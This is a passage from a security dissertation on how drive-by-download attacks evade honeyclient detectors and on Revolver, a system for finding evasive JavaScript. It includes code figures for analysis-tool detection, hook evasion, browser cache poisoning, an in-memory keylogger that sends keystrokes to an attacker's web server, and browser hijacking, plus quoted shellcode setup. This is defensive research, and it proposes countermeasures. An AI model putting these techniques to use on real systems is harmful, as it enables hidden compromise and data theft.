processes that belong to these honey clients. Similarly, Shelia and WEF can be detected by

looking for their respective executable files, shelia.exe and BrowserControl.exe, or for their

required DLL files. In all cases, the systems do not take any measures to protect themselves

from this kind of detection.

Checking for the presence of particular files can even be done in the JavaScript code that

is responsible for launching an attack. This makes the check stealthier, because no actual
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1 var script = document.createElement("script")

2 script.type = "text/javascript";

3 script.src = "res://C:\\Program%20Files\\Capture\\CaptureClient.←↩

exe";

4 script.onreadystatechange= function () {

5 if(this.readyState == "complete")

6 alert("capture-hpc detected!"); };

7 document.getElementsByTagName("head")[0].appendChild(script);

Figure 3.3: Detecting Capture-HPC presence in the file system with JavaScript.

exploit is launched. In Figure 3.3, we show how an attacker can perform a simple check to

see if there are specific programs installed on the client’s machine. This novel attack method

tricks the JavaScript engine by asking it to load a source script from the client’s local file

system. We found out, much to our surprise, that JavaScript does not perform any checks to

see if the file requested is actually a JavaScript source file. Instead, it attempts to load the file,

and, if it is not of an expected format, a JavaScript runtime error is thrown. This allows us to

determine if any local file exists, simply by loading it. In this way, we are also able to detect

the presence of VMware Tools, which reveals the existence of a virtual machine. Notice that

this was tested only with Internet Explorer 7 and might not work with all of its versions.

Detection of hooked functions. Recently, there has been some effort in the research

community to detect hooks installed by malware [108]. Along similar lines, we try to
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detect the hooks set up by the monitoring environment. Certain honeyclients (and Shelia

in particular) use function call hooking to monitor and intercept calls to critical functions.

In this way, the honeyclient can prevent malicious behavior, in addition to detecting the

attack. For example, the honeyclient may avoid calling the real WinExec function to prevent

malware from executing on the system.

To hook functions, honeyclients can make use of the fact that the Windows compiler

reserves the first two bytes of library functions for hot-patching. More precisely, the compiler

places the instruction MOV EDI,EDI at the beginning of each library function prologue,

which acts as a two-byte long NOP operation. Monitoring systems such as Shelia can then

replace this instruction with a jump to a routine of their choice, which, once done, calls the

original function properly. In this way, calls to critical functions such as VirtualProtect,

WinExec, etc. can be intercepted and examined.

In Figure 3.4, we present the x86 assembly code that can be used to detect the presence

of hooks before calling a function. To do this, we verify, before calling a critical function,

that the first operation at the memory address where the function is located (EBX in our

example) contains a MOV instruction and not JMP or CALL. As a result, the exploit code

can refuse to run when function hooking is identified, or the attack code could jump over the

hook to the first “real” instruction. This technique allows us to successfully detect and evade

Shelia. However, this technique does not work against the other tested honeyclients, since

they collect information inside the kernel.
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1 checkhooks:

2 CMP BYTE [DS:EBX], 0xE9 ; 0xE9 == jmp

3 JE hooked

4 CMP BYTE [DS:EBX], 0xE8 ; 0xE8 == call

5 JE hooked

6 CMP BYTE [DS:EBX], 0x8B ; 0x8B == mov

7 JE safe_vprotect

8 safe_vprotect:

9 PUSH ESP ; PDWORD lpflOldProtect

10 PUSH 0x40 ; DWORD flNewProtect,

11 ; PAGE_EXECUTE_READWRITE

12 PUSH 0x7d0 ; SIZE_T dwSize , 2000

13 PUSH EAX ; LPVOID lpAddress

14 CALL EBX ; call VirtualProtect

15 hooked:

16 ;function is hooked

17 RET

Figure 3.4: Function hooks detection: before calling a critical function, we check if it is

hooked.

HTTP referrer check. As part of a drive-by download attack, the victim issues an HTTP

GET request to the attacker’s web server to actually download the exploit code. Of course,

the attacker is able to check the referrer of this request. If the attacker has any control
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over (or knowledge about) the site(s) where her malicious URLs are being advertised,

then this information can be used to serve malicious content only when the Referer header

matches one of these expected sites. For example, the exploit might be served only if the

referrer is google.com. Other Referer header values indicate that the requests are from

analysis systems such as honeypots (although these systems might be able to set the Referer

field to an expected value and thwart this check). This attack is effective against all tested

honeyclients, since it occurs before the victim’s infection and thus is independent of the

detection approach.

3.2.2 Evading detection

Although the attacker may be unaware that her malware is running in a monitored system,

she can perform some tasks that are not easily detectable by honeyclients. These tasks

constitute a barrier that can be used to hide or delay the intended, malicious behavior until

the adversary is sure that the attacked system is an actual victim computer.

Delayed exploitation. In a drive-by download, the attacker can decide to wait for some

time before performing the exploit, or to trigger the execution of an exploit based on the

occurrence of a user-triggered event. For example, the malicious JavaScript code can sleep

for some seconds. The idea is that this delay will trigger a time-out on the honeyclient system

(after which the analysis of the current page is terminated), but it will enable attacks against

a real user who keeps the malicious page open long enough (until the time-out expires). The
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honeyclients that we examined use a timeout of no more than 30 seconds, and hence, can be

evaded when running the exploit is delayed by at least this amount of time.

Unfortunately, setting long timeouts makes the attack unreliable, since real users might

leave the malicious site before the attack is invoked. Another way to implement a timebomb

consists of waiting for some user interaction before launching the attack. This technique can

be implemented by using JavaScript event handlers, such as onMouseOver. In this case,

the idea is that a real user will likely move the mouse over the page, and, by doing so, will

generate the mouseOver event. This will execute the corresponding handler, which, in

turn, launches the attack. A honeyclient, on the other hand, will not trigger such events, and,

thus, the attack remains undetected.

In-memory execution. Current honeyclient systems focus on monitoring events that are

related to file system, registry, and process activity. Thus, an attack remains undetected

as long as the malicious code does not interfere with these operating system resources.

However, as the adversary, we would still like to execute additional malware code.

To load and execute malicious code in a stealth fashion, we can make use of remote library

injection, in particular, a technique called Reflective DLL injection [30]. In this case, a

(remote) library is loaded from the shellcode directly into the memory of the running process,

without being registered in the process’ list of loaded modules, which is stored in the Process

Environment Block (PEB). Once the library is loaded, the shellcode calls an initialization

function, which, in our case, injects a thread to the browser’s process. At this point, the
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execution is returned back to the browser, which continues to run normally. However, there

is now an additional thread running that executes the malicious code.

When injecting the malicious code directly into the process, there are no additional

processes spawned, files created, or registry entries manipulated. Thus, the attack evades the

tested honeyclients. Of course, the malware code itself cannot write to the file system either

(or it would be detect). However, it is possible to open network connections and participate

in a botnet that, for example, sends spam, steals browser credentials, or conducts denial of

service attacks. A drawback is that the malicious code does not survive reboots (or even

closing the browser).

Whitelist manipulation. When visiting any URL, the browser interacts with the operat-

ing system and generates a certain number of events. Of course, these events do not indicate

malicious behavior, and thus, they need to be removed before analyzing the effects that

visiting a page has on the system. To this end, honeyclients use whitelists. However, this also

means that the attacker has limited freedom in performing certain, whitelisted (operating

system) actions, such as browser cache file writes, registry keys accesses etc., that will not

be detected as malicious. The interesting question is whether these actions can be leveraged

to compromise the host’s security.

The attacks described in this section are not relevant for Shelia, which uses function hooks

to identify malicious activity, but apply to the remaining three honeyclients that record and

monitor system calls.
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1 void CrawlDirs(wchar startupdir[]) {

2 WIN32_FIND_DATA ffd;

3 HANDLE hFind;

4 hFind = FindFirstFile(startupdir, &ffd);

5 do {

6 if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)

7 CrawlDirectories(startupdir+"\\"+ffd.cFileName);

8 else {

9 if(is_js_file(ffd.cFileName))

10 patch_js(ffd, path);

11 }

12 } while (FindNextFile(hFind, &ffd) != 0);

13 }

Figure 3.5: Browser cache poisoning attack.

To show the weakness of whitelisting, we have implemented a browser cache poisoning

attack. This attack leverages that fact that write to files in the Internet Explorer cache are

typically permitted. The reason is that reads and writes to these files occur as part of the

normal browser operation, and hence, have to be permitted (note that Honeyclients could

also disable the browser cache, making this attack ineffective).

We have implemented an attack that poisons any JavaScript file found in Internet Explorer’s

cache. With “poisoning,” we mean that we add to every JavaScript file in the browser’s

40



Chapter 3. Evading High-Interaction Honeyclients

cache a small code snippet that redirects the browser to a malicious site. Thus, whenever the

browser opens a page that it has visited before, and this page contains a link to a cached script,

the browser will load and use the local, modified version of the script. As a result, the browser

will get redirected and re-infected. The purpose of this attack is that it allows the adversary

to make a compromise persistent without triggering the detection of a high-interaction

honeyclient. That is, an adversary could launch an in-memory attack (as described in the

previous section) and poison the cached JavaScript files with a redirect to her exploit site.

Even when the victim closes the browser or reboots, it is enough to visit any page that

loads a modified, cached script, to re-infect the machine in a way that is not detected by a

honeyclient.

In Figure 3.5, we present a simplified version of our implementation of the cache poisoning

attack. The algorithm starts from a predefined directory location (in our implementation,

the directory Temporary Internet Files) and recursively searches for JavaScript source files.

When a JavaScript source file is found, then the file is patched by inserting a redirection to

the malicious site, using JavaScript’s window.location property.

As a proof of concept for an attack that uses both in-memory execution and whitelist

manipulation, we developed a keylogger that can survive boots. The keylogger runs entirely

in memory, and, instead of writing the pressed keys into a file, it uses GET requests to send

collected data directly to a web server.
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1 void keylogger() {

2 wchar_t buffer[SIZE];

3 while(1) {

4 /* Appends keystrokes to buffer using GetAsyncKeyState */

5 buffer = get_keys();

6 /* Contacts attacker's webserver with buffer appended to ←↩

path requested using WinHttpSendRequest*/

7 httpget(buffer);

8 }

9 }

Figure 3.6: In-memory keylogger: collects keystrokes and sends them to the attacker with

HTTP GET requests.

The outline of our implementation is presented in Figure 3.6. The code shows the body

of the thread that is injected into Internet Explorer’s process with the use of the Reflective

DLL injection technique. The implementation is straightforward: we gather keystrokes by

invoking the GetAsyncKeyState function offered by the Windows API. When our buffer

is full, we send the keystrokes to our webserver by appending the buffer to the path field.

Our keylogger is part of Internet Explorer’s process, and thus, is very hard to detect, as it is

normal for this process to perform HTTP GET requests.
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To survive reboots, the keylogger also poisons all JavaScript source files in the browser

cache. As a consequence, after reboot, the next time the victim visits a URL with cached

JavaScript code, she will be re-infected. The honeyclients raise no alert, since all activity

appears legitimate to their detection routines.

Honeyclient confusion. For performance reasons, honeyclients are capable of visiting

multiple URLs at the same time. This speeds up the analysis process significantly, since

the checking of URLs can be done in parallel by multiple browser instances. By using the

process IDs of the different browsers, their events can be distinguished from each another.

The adversary can take advantage of this feature and try to confuse the honeyclient.

In particular, the malicious code might carry out activities that are properly detected by

the honeyclient as malicious, but they are blamed on a (benign) URL that is concurrently

examined.

This is done by searching for concurrent, active Internet Explorer processes, as shown in

Figure 3.7. Through the IWebBrowser2 interface, we can control each browser instance, in

the same way as, for example, Capture-HPC does. At this point, we can force any browser

instance to visit a URL of our choice. For example, we can force the browser to visit a

malicious URL under our control. This malicious URL can serve a drive-by download

exploit that, when successful, downloads and executes malware. Of course, the honeyclient

does not know that the browser has been forced to a different URL (by code in another

browser instance), since this could also have been the effect of a benign redirect. Thus, even
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when the malware performs actions that are detected, they will be blamed on the original,

benign URL that Capture-HPC has initially loaded into the misdirected browser.

The purpose of this attack is to invalidate the correctness of the results produced by a

honeyclient and thus, we propose to use it only when we have previously identified the

presence of a monitoring system. Also, the attack does not work when a honeyclient uses

only a single browser instance. However, constraining a honeyclient to test one URL at the

time forces the honeyclient system to accept a major performance penalty.

3.2.3 Summary

We have implemented all the previously-described attacks and tested them against four

popular, open-source honeyclients. Table 3.1 summarizes our results and shows that each

honeyclient is vulnerable to most of the proposed attacks. Moreover, different attack vectors

are independent and, hence, can be easily combined.

3.3 Attacks in the Real World

To better understand the extent to which high-interaction honeyclients are attacked in the

real-world, we have deployed an installation of Capture-HPC. Then, we have fed this popular,

high-interaction honeyclient with 33,557 URLs that were collected from various sources,

such as spam URLs, web crawls, and submissions to Wepawet [18].
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Attack successful?

Attack Capture-HPC Shelia WEF HoneyClient

Plain drive-by 7 7 7 7

VM detection 3 3 3 3

JavaScript FS checks 3 3 3 3

Hooks detection 7 3 7 7

HTTP referrer 3 3 3 3

JS timebomb 3 3 3 3

In-memory execution 3 3 3 3

Whitelist manipulation 3 7 3 3

Confusion attack 3 7 3 3

Table 3.1: Summary of the attacks: a 7 indicates that the attack did not evade the

honeyclient, a 3 indicates that the attack was not detected.

Detection system Total URLs Malicious Benign

Capture-HPC 33,557 644 32,913

Wepawet 33,557 9,230 24,327

Table 3.2: Capture-HPC and Wepawet analysis results.

Then, we compared the detection results of Wepawet and Capture-HPC for the collected

URLs. Wepawet is a tool, developed by our group, that uses anomaly-based detection to

identify malicious web pages by looking directly for malicious JavaScript, without checking
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Malicious/Suspicious URLs undetected by Capture-HPC

JS Method Occurrences

setTimeOut 347

onMouseOver 419

onmouseout 403

onClick 137

Referrer 1,894

Table 3.3: Possible JavaScript evasion techniques against Capture-HPC found in the wild.

for the byproducts of a successful attack. Notice that a page marked by Wepawet as malicious

contains some type of an attack that could compromise a system, but not every system will

get compromised by executing the code. We have found that Wepawet has very low false

positive and negative rates, and hence, its output serves as ground truth for the purpose of

this evaluation [18]. Looking at Table 3.2, we can see that Wepawet found significantly

more malicious sites in the wild. Of particular interest are 8,835 cases in which Wepawet

detected malicious or suspicious activity, while Capture-HPC marked the URLs as benign,

because there is a significant chance that these attacks try to avoid detection by systems such

as Capture-HPC.
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As a first step, we searched the pages that correspond to the malicious URLs for VM

detection methods that are commonly employed by shellcode. Since the shellcode is

typically encoded and, in addition, often obfuscated, we performed this search on the

decoded JavaScript output provided by Wepawet. Moreover, we attempted to “break” the

possible obfuscation of shellcode by xor’ing all shellcode strings with all possible (256)

one-byte values and checking for a regular expression that indicates a (malware download)

URL. Unfortunately, despite these efforts, we could not identify any shellcode that used

known VM detection code.

In the next step, we checked for common JavaScript evasion techniques (as described in

Section 3.2). In this case, our search turned out to be more fruitful, and we found a number

of instances in which JavaScript code makes use of timeouts and event handlers (as shown in

Table 3.3). Notice that the dominating technique is the HTTP Referer check.

We also found an interesting case in which, after the victim got infected, the malware

rebooted the virtual machine. Although the attacker probably did not have the intention to

avoid detection from Capture-HPC, she actually did. In fact, since the machine is rebooting,

all running processes are killed. This means that Capture-HPC’s client is also killed. This

happens immediately after infection. Because Capture-HPC’s client waits for all browser

instances to finish loading their URLs, this event precedes reporting back to Capture-HPC’s

server. As a result, the server loses the connection with the client. When this happens, the

server simply believes that the client has crashed, so it restores the virtual machine to a safe
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snapshot and restarts the client. This means that all the information gathered by the previous

instance of the client is lost. Thus, although the virtual machine is rebooting, an obvious

malicious act, Capture-HPC is unable to detect the malicious URL that caused it.

Another (possibly involuntary) evasion technique that we observed has to do with the

fact that Capture-HPC is built as a Windows Console Application. After the infection, we

noticed that a new command (DOS) window was spawned by the exploit code. After a few

seconds, this command prompt was killed. But, by doing so, the Capture-HPC process was

killed as well. The reason is that Capture-HPC is also invoked from the Windows command

prompt (cmd.exe). Thus, when the exploit code kills all command prompts as part of its

operations, the Capture-HPC process is killed as well. From this point on, the detection fails

for the same reasons described in the previous paragraph.

3.4 Countermeasures

In this chapter, we have shown a number of attacks that an adversary can use to prevent the

detection of her malicious web pages by a honeyclient system. In this section, we focus

on the countermeasures that existing honeyclient systems may implement to detect attacks

more robustly.
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3.4.1 Transparency

We have seen that it is often easy for a malicious page to detect that it is running in a

high-interaction honeyclient (as opposed to a regular host). This issue should be addressed

at several levels.

File system level. The attacker should not be able to discover the files related to the

monitoring infrastructure on the honeyclient’s file system. For example, in the default setup

of Capture-HPC, a simple search into the Program Files directory reveals the use of VMware

Tools and Capture-HPC. These files should be hidden in the file system so that the attacker

must put significant effort in finding them, and the honeyclient should be able to detect the

attacker’s attempt to locate these files.

Kernel level. The attacker should not be able to detect the presence of kernel drivers that

honeyclients use for monitoring system level changes. We are not aware of any method

offered by the Windows API that can be used to hide the presence of a driver from a process.

Therefore, honeyclients could rely on rootkit techniques, such as Direct Kernel Object

Manipulation (DKOM) [101], to hide the presence of these modules. Notice that, by

using the same techniques, a honeyclient could hide processes and files that it uses for its

monitoring.

Network level. If the monitored system is deployed on a static location on the Internet,

its IP address or subnet may be identified by attackers [53]. It is, therefore, necessary to
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deploy the monitored system in several locations, using multiple ISPs in order eliminate the

possibility of getting blacklisted by the attacker at the network level.

Hypervisor level. Implementing the monitoring system at the hypervisor level offers

complete isolation between the analysis environment and the malware. Although this

approach seems ideal, inspecting the operating system from “outside the box” is not trivial,

and it requires a significant effort to reverse engineer the necessary operating system data

structures to bridge the semantic gap.

Thwarting virtual machine detection. The virtual machines currently used for mali-

cious behavior analysis are not designed to be transparent [33]. As we have seen in Chapter 2,

there has been significant effort to create stealthier virtual machines, such as MAVMM [76],

and transparent monitoring systems, such as Ether [23]. These techniques could be used in

future honeyclient systems.

3.4.2 Protection of the monitoring system

Protecting the browser. A successful exploit against a browser vulnerability typically

gives the attacker the ability to execute arbitrary code in the context of the exploited browser

process. The attacker can then subvert other browser processes, compromising the integrity

of the detection, as we have seen in the case of the confusion attack. High-interaction

honeyclients that run multiple browser instances should take steps to isolate each instance

from the others, for example by executing them under different principals. Alternatively,
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the honeyclient process could monitor browser processes to detect attempts to manipulate

their execution. For example, the honeyclient system could monitor the Handles that belong

to each browser’s process, using the GetProcessHandleCount function provided by the

Windows API. In this fashion, one can monitor for cases when the attacker attempts to

manipulate a browser and protect the results produced by revisiting one by one the URLs

associated with the manipulated browser’s instances.

Protecting the honeyclient processes. Any honeyclient process that runs inside the

virtual machine needs to be protected from tampering (e.g., from getting terminated) by

the attacker. One way to achieve this is by running the honeyclient processes with elevated

privileges compared to the browser’s processes. It is also possible to check for and intercept

attempts to terminate the honeyclient processes.

3.5 Conclusion

In this chapter, we examined the security model that high-interaction honeyclients use,

and we evaluated their weaknesses in practice. We introduced and discussed a number of

possible attacks, and we test them against several popular, well-known high-interaction

honeyclients. In particular, we have introduced three novel attack techniques (JavaScript-

based honeyclient detection, in-memory execution, and whitelist-based attacks) and put

under the microscope already-known attacks. Our attacks evade the detection of the
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tested honeyclients, while successfully compromising regular visitors. Furthermore, we

suggest several countermeasures aiming to improve honeyclients. By employing these

countermeasures, a honeyclient will be better protected from evasion attempts and will

provide more accurate results.
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1 SHDocVw::IShellWindowsPtr spSHWinds;

2 IDispatchPtr spDisp;

3 IWebBrowser2 * pWebBrowser = NULL;

4 HRESULT hr;

5

6 // get all active browsers

7 spSHWinds.CreateInstance(__uuidof(SHDocVw::ShellWindows));

8

9 // get one, or iterate va to get each one

10 spDisp = spSHWinds->Item (va);

11

12 // get IWebBrowser2 pointer

13 hr = spDisp.QueryInterface (IID_IWebBrowser2, & pWebBrowser);

14

15 if (SUCCEEDED(hr) && pWebBrowser != NULL) {

16 visitUrl(pWebBrowser); // with the use of IWebBrowser2::←↩

Navigate2

17 }

Figure 3.7: Confuse honeyclient: find an Internet Explorer instance and force it to visit a

URL of our choice.
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Chapter 4

An Automated Approach to the
Detection of Evasive Web-based
Malware

In the previous chapter we showed how evasions work against high-interaction honey-

clients. In this chapter, we focus on JavaScript-based evasions that target low-interaction

honeyclients by introducing Revolver, a novel approach to automatically detect evasive

behavior in malicious JavaScript. Revolver uses efficient techniques to identify similarities

between a large number of JavaScript programs (despite their use of obfuscation techniques,

such as packing, polymorphism, and dynamic code generation), and to automatically

interpret their differences to detect evasions.

In the last several years, we have seen web-based malware—malware distributed over the

web, exploiting vulnerabilities in web browsers and their plugins—becoming a prevalent

threat. Microsoft reports that it detected web-based exploits against over 3.5 million

distinct computers in the first quarter of 2012 alone [68]. In particular, drive-by-download
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attacks are the method of choice for attackers to compromise and take control of victim

machines [39, 82]. At the core of these attacks are pieces of malicious HTML and JavaScript

code that launch browser exploits.

Recently, a number of techniques have been proposed to detect the code used in drive-by-

download attacks. A common approach is the use of honeyclients (specially instrumented

browsers) that visit a suspect page and extract a number of features that help in determining

if a page is benign or malicious. Such features can be based on static characteristics of the

examined code [14, 19], on specifics of its dynamic behavior [18, 61, 75, 81, 88, 106], or on a

combination of static and dynamic features [91].

Drive-by downloads initially contained only the code that exploits the browser. This

approach was defeated by static detection of the malicious code using signatures. The

attackers started to obfuscate the code in order to make the attacks impossible to be matched

by signatures. Obfuscated code needs to be executed by a JavaScript engine to truly reveal

the final code that performs the attack. This is why researchers moved to dynamic analysis

systems which execute the JavaScript code, deobfuscating this way the attacks regardless

of the targeted vulnerable browser or plugin. As a result, the attackers have introduced

evasions: JavaScript code that detects the presence of the monitoring system and behaves

differently at runtime. Any diversion from the original targeted vulnerable browser (e.g.,

missing functionality, additional objects, etc.) can be used as an evasion.
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As a result, malicious code is not a static artifact that, after being created, is reused

without changes. To the contrary, attackers have strong motivations to modify the code they

use so that it is more likely to evade the defense mechanisms employed by end-users and

security researchers, while continuing to be successful at exploiting vulnerable browsers. For

example, attackers may obfuscate their code so that it does not match the string signatures

used by antivirus tools (a situation similar to the polymorphic techniques used in binary

malware). Attackers may also mutate their code with the intent of evading a specific detection

tool, such as one of the honeyclients mentioned above.

In this chapter we propose Revolver, a novel approach to automatically identify evasions

in drive-by-download attacks. In particular, given a piece of JavaScript code, Revolver

efficiently identifies scripts that are similar to that code, and automatically classifies the

differences between two scripts that have been determined to be similar. Revolver first

identifies syntactic-level differences in similar scripts (e.g., insertion, removal, or substitution

of snippets of code). Then Revolver attempts to explain the semantics of such differences

(i.e., their effect on page execution). We show that these changes often correspond to the

introduction of evasive behavior (i.e., functionality designed to evade popular honeyclient

tools).

There are several challenges that Revolver needs to address to make this approach feasible

in practice. First, typical drive-by-download web pages serve malicious code that is heavily

obfuscated. The code may be mutated from one visit to the page to the next by using
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simple polymorphic techniques, e.g., by randomly renaming variables and functions names.

Polymorphism creates a multitude of differences in two pieces of code. From a superficial

analysis, two functionally identical pieces of code will appear as very different. In addition,

malicious code may be produced on-the-fly, by dynamically generating and executing

new code (through JavaScript and browser DOM constructs such as the eval() and

setTimeout() functions). Dynamic code generation poses a problem of coverage; that

is, not all JavaScript code may be readily available to the analyzer. Therefore, a naive

approach that attempts to directly compare two malicious scripts would be easily thwarted

by these obfuscation techniques and would fail to detect their similarities. Instead, Revolver

dynamically monitors the execution of JavaScript code in a web page so that it can analyze

both the scripts that are statically present in the page and those that are generated at runtime.

In addition, to overcome polymorphic mutations of code, Revolver performs its similarity

matching by analyzing the Abstract Syntax Tree (AST) of code, thereby ignoring superficial

changes to its source code.

Another challenge that Revolver must address is scalability. For a typical analysis of a

web page, Revolver needs to compare several JavaScript scripts (more precisely, their ASTs)

with a repository of millions of ASTs (potential matches) to identify similar ones. To make

this similarity matching computationally efficient, we use a number of machine learning

techniques, such as dimensionality reduction and clustering algorithms.
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Finally, not all code changes are security-relevant. For example, a change in a portion of

the code that is never executed is less interesting than one that causes a difference in the

runtime behavior of the script. In particular, we are interested in identifying code changes

that cause detection tools to misclassify a malicious script as benign. To identify such

evasive code changes, Revolver focuses on modifications that introduce control flow changes

in the program. These changes may indicate that the modified program checks whether

it is being analyzed by a detector tool (rather than an unsuspecting visitor) and exhibits a

different behavior depending on the result of this check.

By automatically identifying code changes designed to evade drive-by-download detectors,

one can improve detection tools and increase their detection rate. We also leverage Revolver

to identify benign scripts (e.g., well-known libraries) that have been injected with malicious

code, and, thus, display malicious behavior.

This chapter makes the following contributions:

• Code similarity detection: We introduce techniques to efficiently identify JavaScript

code snippets that are similar to each other. Our tool is resilient to obfuscation techniques,

such as polymorphism and dynamic code generation, and also pinpoints the precise

differences (changes in their ASTs) between two different versions of similar scripts.

• Detection of evasive code: We present several techniques to automatically classify

differences between two similar scripts to highlight their purpose and effect on the
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executed code. In particular, Revolver has identified several techniques that attackers use

to evade existing detection tools by continuously running in parallel with a honeyclient.

4.1 Background and Overview

To give the reader a better understanding of the motivation for our system and the problems

that it addresses, we start with a discussion of malicious JavaScript code used in drive-by-

download attacks. Moreover, we present an example of the kind of code similarities that we

found in the wild.

Malicious JavaScript code. The web pages involved in drive-by-download attacks typi-

cally include malicious JavaScript code. This code is usually obfuscated, and it fingerprints

the visitor’s browser, identifies vulnerabilities in the browser itself or the plugins that the

browser uses, and finally launches one or more exploits. These attacks target memory cor-

ruption vulnerabilities or insecure APIs that, if successfully exploited, enable the attackers

to execute arbitrary code of their choice.

Figure 4.1 shows a portion of the code used in a recent drive-by-download attack against

users of the Internet Explorer browser. The code (slightly edited for the sake of clarity)

instantiates a shellcode (Line 8) by concatenating the variables defined at Lines 1–7; a later

portion of the code (not shown in the figure) triggers a memory corruption vulnerability,

which, if successful, causes the shellcode to be executed.
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A common approach to detect such attacks is to use honeyclients, which are tools that pose

as regular browsers, but are able to analyze the code included in the page and the side-effects

of its execution. More precisely, low-interaction honeyclients emulate regular browsers and

use various heuristics to identify malicious behavior during the visit of a web page [18,41,75].

High-interaction honeyclients consist of full-featured web browsers running in a monitoring

environment that tracks all modifications to the underlying system, such as files created and

processes launched [81, 99, 106]. If any unexpected modification occurs, it is considered to

be a manifestation of a successful exploit. Notice that this sample is difficult to detect with a

signature, as strings are randomized on each visit to the compromised site.

Evasive code. Attackers have a vested interest in crafting their code to evade the detection

of analysis tools, while remaining effective at exploiting regular users. This allows their

pages to stay “under the radar” (and actively malicious) for a longer period of time, by

avoiding being included in blacklists such as Google’s Safe Browsing [37] or being targeted

by take-down requests.

Attackers can use a number of techniques to avoid detection [86]: for example, code

obfuscation is effective against tools that rely on signatures, such as antivirus scanners;

requiring arbitrary user interaction can undermine high-interaction honeyclients; probing

for arcane characteristics of browser features (likely not correctly emulated in browser

emulators) can thwart low-interaction honeyclients.
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1 var nop="%uyt9yt2yt9yt2";

2 var nop=(nop.replace(/yt/g,""));

3 var sc0="%ud5db%uc9c9%u87cd...";

4 var sc1="%"+"yutianu"+"ByutianD"+ ...;

5 var sc1=(sc1.replace(/yutian/g,""));

6 var sc2="%"+"u"+"54"+"FF"+...+"8"+"E"+"E";

7 var sc2=(sc2.replace(/yutian/g,""));

8 var sc=unescape(nop+sc0+sc1+sc2);

Figure 4.1: Malicious code that sets up a shellcode.

An effective way to implement this kind of circumventing techniques consists of adding

some specialized “evasive code” whose only purpose is to cause detector tools to fail on an

existing malicious script. Of course, the evasive code is designed in such a way that regular

browsers (used by victims) effectively ignore it. Such evasive code could, for example, pack

an exploit code in an obfuscation routine, check for human interaction, or implement a test

for detecting browser emulators (such evasive code is conceptually similar to “red pills”

employed in binary malware to detect and evade commonly-used analysis tools [29]).

Figure 4.2 shows an evasive modification to the original exploit of Figure 4.1, which we

also found used in the wild. More precisely, the code tries to load a non-existent ActiveX

control, named yutian (Line 2). On a regular browser, this operation fails, triggering the

execution of the catch branch (Lines 4–11), which contains an identical copy of the malicious

code of Figure 4.1. However, low-interaction honeyclients usually emulate the ActiveX
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1 try {

2 new ActiveXObject("yutian");

3 } catch (e) {

4 var nop="%uyt9yt2yt9yt2";

5 var nop=(nop.replace(/yt/g,""));

6 var sc0="%ud5db%uc9c9%u87cd...";

7 var sc1="%"+"yutianu"+"ByutianD"+ ...;

8 var sc1=(sc1.replace(/yutian/g,""));

9 var sc2="%"+"u"+"54"+"FF"+...+"8"+"E"+"E";

10 var sc2=(sc2.replace(/yutian/g,""));

11 var sc=unescape(nop+sc0+sc1+sc2);

12 }

Figure 4.2: An evasion using non-existent ActiveX controls.

API by simulating the presence of any ActiveX control. In these systems, the loading of

the ActiveX control does not raise any exception; as a consequence, the shellcode is not

instantiated correctly, which stops the execution of the exploits and causes the honeyclient to

fail to detect the malicious activity.

Detecting evasive code using code similarity. Code similarity approaches have been

proposed in the past, but none of them has focused specifically on malicious JavaScript.

There are several challenges involved when processing malicious JavaScript for similarities.

Attackers actively try to trigger parsing issues in analyzers. The code is usually heavily

obfuscated, which means that statically examining the code is not enough. The malicious
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code itself is designed to evade signature detection from antivirus products. This renders

string-based and token-based code similarity approaches ineffective against malicious

JavaScript. We will show later how regular code similarity tools, such as Moss [96], fail

when analyzing obfuscated scripts. In Revolver, we extend tree-based code similarity

approaches and focus on making our system robust against malicious JavaScript. We

elaborate on our novel code similarity techniques in §4.2.4.

At a high-level overview, we use Revolver to detect and understand the similarity between

two code scripts. Intuitively, Revolver is provided with the code of both scripts and their

classification by one or more honeyclient tools. In our running example, we assume that the

code in Figure 4.1 is flagged as malicious and the one in Figure 4.2 as benign. Revolver

starts by extracting the Abstract Syntax Tree (AST) corresponding to each script. Revolver

inspects the ASTs rather than the original code samples to abstract away possible superficial

differences in the scripts (e.g., the renaming of variables). When analyzing the AST of

Figure 4.2, it detects that it is similar to the AST of the code in Figure 4.1. The change is

deemed to be interesting, since it introduces a difference (the try-catch statement) that may

cause a change in the control flow of the original program. Our system also determines that

the added code (the statement that tries to load the ActiveX control) is indeed executed by

tools visiting the page, thus increasing the relevance of the detected change (execution bits

are described in more detail in §4.2.1). Finally, Revolver classifies the modification as a
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possible evasion attempt, since it causes the honeyclient to change its detection result (from

malicious to benign).

Assumptions and limitations. Our approach is based on a few assumptions. Revolver

relies on external detection tools to collect (and make available) a repository of JavaScript

code, and to provide a classification of such code as either malicious or benign (i.e., Revolver

is not a detection tool by itself). To obtain code samples and classification scores, we can

rely on several publicly-available detectors [18, 41, 75].

Attackers might write a brand new attack with all components (evasion, obfuscation,

exploit code) written from scratch. In such cases, Revolver will not be able to find any

similarities the first time it analyzes these attacks. The lack of similarities though can be

used to our advantage, since we can isolate brand-new attacks (provided that they can be

identified by other means) based on the fact that we have never observed such code before.

In the same spirit, to detect evasions, Revolver needs to inspect two versions of a malicious

script: the “regular” version, which does not contain evasive code, and the “evasive” version,

which attempts to circumvent detection tools. Furthermore, if an evasion is occurring, we

assume that a detection tool would classify these two versions differently. In particular, if

only the evasive version of a JavaScript program is available, Revolver will not be able to

detect this evasion. We consider this condition to be unlikely. In fact, trend results from

a recent Google study on circumvention [86] suggest that malicious code evolves over

time to incorporate more sophisticated techniques (including evasion). Thus, having a
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sufficiently large code repository should allow us to have access to both regular and evasive

versions of a script. Furthermore, we have anecdotal evidence of malware authors creating

different versions of their malicious scripts and submitting them to public analyzers, until

they determine that their programs are no longer detected (this situation is reminiscent of the

use of anti-antivirus services in the binary malware world [54]).

Revolver is not effective when server-side evasion (for example, IP cloaking) is used: in

such cases, the malicious web site does not serve at all the malicious content to a detector

coming from a blocked IP address, and, therefore, no analysis of its content is possible. This

is a general limitation of all analysis tools and can be solved by means of a better analysis

infrastructure (for example, by visiting malicious sites from IP addresses and networks that

are not known to be associated with analysts and security researchers and cannot be easily

fingerprinted by attackers).

4.2 Approach

In this section, we describe Revolver in detail, focusing on the techniques that it uses to find

similarities between JavaScript files.

A high-level overview of Revolver is presented in Figure 4.3. First, we leverage an

existing drive-by-download detection tool (an “Oracle”) to collect datasets of both benign

and malicious web pages (§4.2.1). Second, Revolver extracts the ASTs (§4.2.2) of the
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Figure 4.3: Architecture of Revolver.

JavaScript code contained in these pages and, leveraging the Oracle’s classification for

the code that contains them, marks them as either benign or malicious. Third, Revolver

